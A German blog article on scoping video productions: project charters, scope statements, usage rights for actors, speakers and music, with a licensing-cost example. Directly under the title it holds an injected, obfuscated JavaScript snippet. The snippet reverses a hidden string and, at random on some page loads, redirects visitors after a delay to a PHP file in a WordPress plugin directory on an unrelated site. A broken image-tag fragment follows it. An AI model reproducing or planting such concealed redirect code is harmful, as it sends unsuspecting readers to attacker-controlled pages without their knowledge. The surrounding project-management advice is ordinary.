Videoproduktionen sauber definiert

$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tock_000010234224XSmall.jpg" alt="Diskussion vor einer Videoproduktion" width="314" height="382" />

Auftraggeber wollen ein Festpreisangebot, Auftragnehmer eine sichere Kalkulation. Videoproduktionen sind Projektmanagement. Sind Projekte nicht sauber definiert, dann verlieren alle Beteiligten. Das Risiko, eine Produktion nicht zu einem festgelegten Budget, Zeitrahmen oder Umfang fertigzustellen, steigt. Videoproduktionen sollten deshalb sauber definiert werden und sich der Erfahrung des allgemeinen Projektmanagements annehmen. Aber wie wird eine Videoproduktion definiert?

Einer der Schlüsseldokumente für Projektdefinitionen ist (i) der Projektauftrag („projekt-charter“) und (ii) eine Beschreibung des Projektumfanges („project scope statement“). Jede Videoproduktion (auch noch so klein) sollte diese Dokumente besitzen bzw. in einer kombinierten Fassung, als Dokument zur Projektinitiierung („project initiation document“) verwenden.
 
 

Der Projektauftrag

Ein Projektauftrag (engl. „project charter“) definiert die folgenden Punkte:

• Benennt die wesentlichen Projektbeteiligten, Projektleiter des Auftraggebers,
• Projektleiter des Auftragnehmers und Förderer (engl. „project sponsor“) , d.h. denjenigen, der für das Projekt bezahlt;
• Eine formalisierte Genehmigung des Projekts, d.h. der (engl. „Project Sponsor“) sollte die Projekt-Charter unterzeichnen. Mit der Unterschrift wird das Projekt offiziell genehmigt;
• Arbeitsumfang der Videoproduktion (engl. „scope“);
• Zusammenfassung der wesentlichen Meilensteine auf einer Zeitskala;
• Budget und finanzielle Förderung;

Ein Projektauftrag ist ein Übersichtsdokument, hat normalerweise einen Umfang von ein bis zwei Seiten und Genehmigt das Projekt offiziell. Nicht selten kommt es vor, dass Projektbeteiligte schon mit den Dreharbeiten oder der konzeptionellen Arbeit anfangen ohne dass die Produktion offiziell genehmigt wurde. Bleibt die Genehmigung aus, war die eventuell schon geleistete Arbeit ein unbezahltes Zuschussgeschäft.
Auch wenn auf den ersten Augenblick die Benennung des Förderers (engl. „project sponsor“) und der Projektleiter trivial erscheint, so ist in dem heutigen Urwald von Co-Produktionen und Subunternehmern das eine nicht immer triviale Angelegenheit, da Transparenz nicht immer gewünscht ist. Oft erscheinen Produktionsunternehmen nach außen hin geschlossen und präsentieren sich als eine Einheit, hinter den Kulissen werden jedoch oftmals wichtige Teilbereiche an Subunternehmen vergeben. Welche Produktionsteile an Subunternehmen übergeben werden, sollte aus einer Projektcharter hervorgehen. Oftmals agieren Marketingunternehmen als Hauptauftragnehmer und lassen die eigentliche Film-/Videoproduktion von Produktionsunternehmen und Filmemachern durchführen.

Definition der Nutzungsrechte

Transparenz ist insofern notwendig, wenn es um die Definition der Nutzungsrechte geht. Sind die Nutzungsrechte nicht definiert, dann gehen alle Beteiligten einer Videoproduktion ein Risiko ein oder es kommt irgendwann später einmal der große Knall. Deshalb sollten alle Beteiligten einer Videoproduktion auf der Definition der Nutzungsrechte bestehen. Die Nutzungsrechte sind so fundamental, dass sie unbedingt in den Projektauftrag gehören.

Was hat es mit den Nutzungsrechten auf sich? Kreative stellen dem Auftraggeber neben der Vergütung der eigentlichen Zeit auch eine Vergütung der Nutzungsrechte in Rechnung, da der Auftraggeber das kreative Werk auf verschiedene Weise nutzen kann. Diese Nutzungsmöglichkeiten stellen einen eigenständigen Vermögenswert dar, vergleichbar mit dem einer Ware. In Verträgen über urheberrechtlich geschützte Leistungen dient die Definition der Nutzungsrechte einer Klarstellung, welche Nutzungsmöglichkeiten der Kunde für sein Geld erhält, sie dient damit zugleich auch der Berechnung einer angemessenen Vergütung.

BEISPIEL:Die Tagesrate eines Schauspielers in Deutschland liegt bei etwa 800 bis 1200€. Soll die Videoproduktion, z.B. als Werbespot Europaweit ausgestrahlt werden, dann betragen die Lizenzkosten üblicherweise 1200% des Tagessatzes, und bei einer Ausstrahlung in Deutschland nur 100%. Bei einer durchschnittlichen Tagesrate von 1000€ betragen die Gesamtnoten für einen Schauspieler 13000€ (europaweit) und 2000€ (deutschlandweit). Die Lizenzkosten einhergehend mit den Nutzungsrechten sind gerechtfertigt, da ein Schauspieler für den Zeitraum der Ausstrahlung schwerer andere Werbeaufträge bekommt.

Nutzungsrechte lassen sich durch folgende Parameter definieren:

• einfache Nutzungsrechte / ausschließliche (exklusive) Nutzungsrechte
• mit räumlicher Beschränkung (z.B. landesweit) / ohne räumliche Beschränkung (weltweit)
• mit zeitlicher Beschränkung (z.B. 1Jahr) / ohne zeitliche Beschränkung
• Art der Nutzung (Online-Medien, Fernsehen, Internet, DVD, Messen, Video „on demand“)

Neben den Schauspielern sind von den Nutzungsrechten u.a. auch Sprecher und die Musikrechte betroffen.

Nutzungsrechte definieren, wie die Videoproduktion am Ende verwendet werden soll. Sie müssen vertraglich vereinbart werden, d.h. es muss bei Auftragserteilung feststehen, welche Rechte für welche Vergütung eingeräumt werden. Sie gehören deshalb in den Projektauftrag und nicht in die Rechnung. Die einseitige Festlegung von Nutzungsrechten in einer Rechnung ist für den Auftraggeber unbeachtlich, da diese keinen Vertrag ersetzt.

Definition des Projektumfangs 

Der Projektauftrag sollte mit einer detailierten Beschreibung des Produktionsumfanges ergänzt werden. Um den Umfang (engl. „scope“) einer Videoproduktion zu klären, werden noch weitere Randbedingungen benötigt, wie z.B.

• Produktionsformat;
• Länge des finalen Videos;
• Qualität und technische Randbedingungen;
• Drehorte;
• Darsteller;
• Sprecher/in;
• Musik;
• Animationen;
• Ausgabemedium und gegebenenfalls Stückzahl;
• Konzeptionelle Entwicklung und Umfang;
• Projektrisiken und deren Schadensminimierung;

Diese Liste ist keinesfalls vollständig. Schreiben Sie auch die Dinge auf, die nicht Bestandteil des Produktionsumfanges sind.

Projektrisiken werden oft vergessen. Dabei können potentielle Schäden oftmals durch geeignete Strategien und Versicherungen, z.B. Produktionsausfallversicherungen, minimiert werden.

Dokument zur Projektinitiierung

Bei kleineren Produktionen können die beiden Dokument für den Projektauftrag und den Projektumfang auch zusammengelegt werde. Ein solches Dokument wird auch als Dokument zur Projektinitiierung (engl. "project initiation document"). In diesem kleinen Artikel ist so ein Dokument als PDF exemplarisch beigelegt.

Dokument zur Projektinitiierung

Verwenden Sie dieses Dokument bitte nicht in dem Rohzustand. Es muss unbedingt an die jeweilige Produktionssituation angepasst werden. Wichtig, wie bei einem Projektauftrag, muss dieses Dokument mindestens von dem Förderer (engl. „project sponsor“) unterzeichnet werden.

Schlussbemerkung

Auch wer mit einer kleinen Videoproduktion startet, sollte diese im Vorfeld definieren. Je besser die Produktion im Vorfeld definiert ist umso weniger Stress haben alle Beteiligten später. Wichtig ist immer die Definition der Nutzungsrechte! Im Nachhinein können diese oftmals nicht erweitert werden.